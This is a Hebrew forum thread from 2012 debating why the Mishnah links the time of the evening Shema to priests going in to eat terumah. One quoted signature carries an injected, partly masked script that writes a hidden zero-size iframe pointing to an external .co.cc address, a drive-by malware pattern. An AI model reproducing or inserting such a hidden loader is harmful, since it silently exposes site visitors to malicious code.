|
|
| נשלח ב-28/8/2012 02:05 |
 |
| |
יהי,
בקשר לקישור שהבאת. הראשון ראיתי שמעלה את הנושא הוא ה"משכנות יעקב" בסי' ע"ו, שחוכך להגיד כן לדינא שכעת מחשבים "שלוש שעות" מזמן קימה הרגיל לכל אדם, וגם יוצא בצדק כנגד שיטת הרמב"ם על שעות זמניות.
אומנם, למעשה הוא אומר שאין לזוז מדברי הרמב"ם, אלא שזה רק לימוד זכות על המאחרים כיום.
חלק עליו ב"ערוך השולחן"(או"ח סי' נ"ח, סע' י"ב-י"ג), אך בדבריו שאינם משכנעים(אותי, עכ"פ).
באמת,כמו שהערת, הדיון פה נסוב על מדוע ננקטה לשון זו וכו', אך אין זה סותר את עצם דברי - ממתי הוחלט מהו יום ומהו לילה, והאם אין למצוא נדבך מרכזי בהשתלשלות זו בדעות התאים פה על זמן ק"ש?
|
|
|
|
| נשלח ב-28/8/2012 08:19 |
|
| |
נחלת דוד
איקון ירוק מאד.
ולכולם
רק דבר אחד עדיין קשה לי. דבר שמתחלק לפרטים הרבה. גם אם נניח שזמן עלית הכהנים לאכול בתרומה מטבילתם קדמה להגדרת זמן ק"ש, מדוע שזה יהיה כך. האם קריאת שמע היתה גם היא מצוה מתחדשת? האם קריאת שמע יצאה מחוגי הכהנים?
נתבונן לרגע רק בהכשר אכילת תרומה. כדי לקבוע את הזמן הזה כפרדיגמטי (=דוגמא ומופת), צריך להניח שהיו כהנים בכל מקום, לפחות במקומות שבהם היו חכמים, שהם קיבלו תרומה לאכול, שהם נאלצו לטבול לעתים קרובות (וממילא שהם לא חיו ברמת הטהרה המיוחסת למגזר מסויים בירושלים) או שהם הקפידו לאכול חולין על טהרת תרומה. ושהם הזדרזו לטבול ברגע האחרון של היום ועם המעבר ליום החדש. כל אחת מהנחות אלו טעונה הבהרה. איך מתנהלים חיי קהילה בצורה כזו?
לחלק משאלות אלו אפשר לחפש תשובות במקורות העזר ללימוד ההיסטוריה. (למשל, לחפש שכיחות של משפחות כהנים וכהנים לפי רישומים על קברים ומצבות). לגבי אחרים אפשר רק להניח הנחות. אבל אלו הנחות יכולות להסביר זאת? זה נפלא ממני.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-28/8/2012 08:20 |
|
| |
הרב יעקב לויפר פרסם מאמר מעניין בהמודיע על שעות שוות וזמניות.
אם יש לאחד מהחכמים אפשרות להעלותו, זה יתרום לדיון.
|
|
|
|
|
| נשלח ב-28/8/2012 09:32 |
|
| |
הכהנים היו טובלים, אבל בבית הכנסת לא התפללו ערבית בצבור.
תוקן על ידי בעלבעמיו ב- 28/08/2012 09:32:31
|
|
|
|
| נשלח ב-28/8/2012 10:21 |
|
| |
בעל
לא התפללו ערבית בציבור- {כנראה שגם לא שחרית רק לעיתים} אבל ק"ש היו קןראים- לפי הגמרא,
אגב מענין מתי החלו? האם רק לאחר שדרש בן זומא- מזכירים יציאת מצריים בלילות!
|
|
|
|
| נשלח ב-28/8/2012 10:46 |
|
| |
מיימוני,
נראה לי שאיננו מסתכלים נכון על ההלכות שנתקבעו במשנה.
במקור, שוני הלכות אלו לא חשבו שייקבעו דבריהם בספר ויחקקו לדורות עולם. הם שנו הלכה לבית מדרשם, תלמידיהם, ולכל היותר - לציבור בכפרם, ולכן לימדו בלשון המובנת לעם, במונחים המובנים לו, ובדוגמאות מחייו.
משנה זו, ואולי רוב המשניות הקדומות(ר' ב"ק ו',ב': "האי תנא ירושלמי הוא"), נשנו באזור יהודה, שכן מעליית עזרא ותלמידיו, התרכזות הציבור והתרבות היהודית היה באזור י"ם בכלל, וסביב ביהמ"ק כמופת דתי בפרט. על כן ביהמ"ק היה המרכז של הדת היהודית, וההלכות הספורות האינדיבידואליות שהיו, ממילא הניחו את ביהמ"ק וסדריו כידועים לכל, וכמפות לאורח החיים הדתי.
לכן שנה תנא זה דין זה כנסמך לביהמ"ק, כי מסתבר שזמן טבילת הכהנים היה ידוע לכל וקל לחישוב או לצפייה, בוודאי אם נניח שהמימרא קדומה מאוד, עד כדי תקופה שעמ"י כמעט ולא ישב חוץ לי"ם, ודווקא סדרי ביהמ"ק - תמיד של יום ושל לילה וכד' - הם שכוננו את תפיסת הזמן ההלכתית אצל ההמון, ולא להיפך(היינו - ולא שתפיסת הזמן ההלכתית בסדרי המצוות האישיות של העם היא שקבעה את מהלך הזמנים בביהמ"ק).
|
|
|
|
| נשלח ב-28/8/2012 11:21 |
|
| |
נחלת דוד
אם אנו מחילים הנחות יסוד היסטוריות והתפתחותיות, אזי יהיה עלינו לשאול אם המשנה שלנו יצאה מחוגי הכהנים או הסופרים-פרושים.
יש המשערים שהיתה יריבות בין הפרושים לבין הכהנים, אם כי אנו מוצאים שגם כהנים היו בין החכמים. ואדרבה, החכמים שימרו לנו מסורות מן המקדש.
בכל אופן, בין לשיטתך, בין לשיטת אלבק-יהי אור, מדוע נקט התנא שהכהנים טובלים "לאכול בתרומתן"? להיטהר סתמא מיבעי ליה? =היה לו לשנות "טובלים" או "טובלים לטהרתן" ולא ל"תרומה"? ושמא תאמר שמילה זו, "לתרומתן", היא תוספת מאוחרת של מי שהתקשה "טבילה" סתמא למה לי והוסיף מדעתו "תרומה"?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-28/8/2012 13:08 |
|
| |
| מיימוני כתב: |  |
בכל אופן, בין לשיטתך, בין לשיטת אלבק-יהי אור, מדוע נקט התנא שהכהנים טובלים "לאכול בתרומתן"? להיטהר סתמא מיבעי ליה? =היה לו לשנות "טובלים" או "טובלים לטהרתן" ולא ל"תרומה"? ושמא תאמר שמילה זו, "לתרומתן", היא תוספת מאוחרת של מי שהתקשה "טבילה" סתמא למה לי והוסיף מדעתו "תרומה"?
|
|
התנא לא שנה "טובלים לאכול בתרומתן" אלא "נכנסים לאכול בתרומתן". בין אם טבלו בלילה ובין אם לא, כאן מדובר על טבילה שנעשתה ביום, והערב שמש (המתרחש לאחריה) הוא שמתיר את אכילת התרומה. ניתן לדמיין את הכהן היושב ליד השולחן ומביט בחלון על מנת לדעת אם כבר מותר לו לאכול מן התרומה. הכניסה לאכול (תרומה בדווקא!) היא שנעשתה בשעה המדוייקת ולכן יכלה להוות סימן. טבילה לילית, אם היתה, היתה יכולה להתבצע בכל שעה ולא נעשתה בדקה הראשונה האפשרית.
|
|
|
|
| נשלח ב-28/8/2012 18:18 |
|
| |
עציוני
תודה על התיקון
אמנם השאלה עדיין במקומה עומדת. ראשית, האם אין זה נכון שיש ברייתות בגמרא ובהן נזכרת טבילה? שנית, הקובע כאן אינו "נכנסים לאכול" אלא "נטהרים לאחר טבילתן".
להזכירך, השאלה היתה מדוע לתלות את זיהוי הזמן הראוי בתופעה שנראית על פניה נדירה (במבט מנקודת הזמן שלנו, שלי) כמו אכילת תרומה. השיבו כאן בחכמה (לדעתי) שאפשר שהדברים נאמרו בחוג שמסביב למקדש, או שנהגו לטבול בכל אופן. ועל זה שאלתי שהעיקר אינו אם כן האכילה אלא הכשר האכילה וזאת היה לתנא להזכיר, שיוצאים מטבילתם לטהרה. הלשון עדיין קשה לטעמי. אם מדובר באכילה ממש, זו תופעה נדירה, הלא כן? ואם זה הכשר אכילה, אז מדוע לנקוט "נכנסים לאכול" כאשר הכוונה היא "נטהרים".
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-28/8/2012 18:58 |
|
| |
| eli_s כתב: | | | לסתם אדם זה לא היה דחוף. הכוהנים לא יכלו לאכול עד להערב שמש. |
|
ביחוד אם הקפידו לאכול חולין בטהרה (מתי התחיל מושג ה"חבר"?), אז הערב שמש היה כעין שבירת צום.
יתכן שתרומה הייתה חלק גדול ממזון הכוהנים.
|
|
|
|
| נשלח ב-29/8/2012 09:47 |
|
| |
|
|
|
|
| נשלח ב-29/8/2012 10:33 |
|
| |
| מיימוני כתב: | | עציוני
תודה על התיקון
אמנם השאלה עדיין במקומה עומדת. ראשית, האם אין זה נכון שיש ברייתות בגמרא ובהן נזכרת טבילה? שנית, הקובע כאן אינו "נכנסים לאכול" אלא "נטהרים לאחר טבילתן".
להזכירך, השאלה היתה מדוע לתלות את זיהוי הזמן הראוי בתופעה שנראית על פניה נדירה (במבט מנקודת הזמן שלנו, שלי) כמו אכילת תרומה. השיבו כאן בחכמה (לדעתי) שאפשר שהדברים נאמרו בחוג שמסביב למקדש, או שנהגו לטבול בכל אופן. ועל זה שאלתי שהעיקר אינו אם כן האכילה אלא הכשר האכילה וזאת היה לתנא להזכיר, שיוצאים מטבילתם לטהרה. הלשון עדיין קשה לטעמי. אם מדובר באכילה ממש, זו תופעה נדירה, הלא כן? ואם זה הכשר אכילה, אז מדוע לנקוט "נכנסים לאכול" כאשר הכוונה היא "נטהרים". _________________ שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
בדיוק לנקודה זו התייחסתי. אף אחד לא יכול לראות מתי הכהן נטהר. זה לא דבר מוחשי. מה שאפשר לראות (ולכן יכול להוות סימן לזמן ק"ש) הוא מתי הכהן אוכל.
מתוך הסוגיה עולה שהנוהג היה לאכול את סעודת הערב בזמן סיום היום (שעות החשיכה שימשו לשינה). מי שאינו כהן לא היה צריך להקפיד על הזמן המדויק - הוא יכול לאכול גם כמה דקות קודם ולנצל את שעות האור. הכהנים הם אלה שהיו צריכים לחכות עד הערב שמש (בהנחה שמזונם היה מורכב בעיקר מתרומה). סביר שהם ישבו לאכול ברגע שהדבר היה ניתן, ולכן הזמן בו הם נכנסים לאכול הוא הסימן הראוי שעליו ניתן לסמוך לצורך ק"ש.
|
|
|
|
| נשלח ב-29/8/2012 10:38 |
|
| |
עציניו
איך ניתן לאכול מיד בתחילת הלילה, הלא אסור לאכול לפני קריאת שמע של ערבית?
|
|
|
|
| נשלח ב-29/8/2012 11:35 |
|
| |
בעל
מאיפה ההלכה הזו? בניו של רשב"ג הלכו לבית המשתה לפני שקראו ק"ש.
|
|
|
|
|
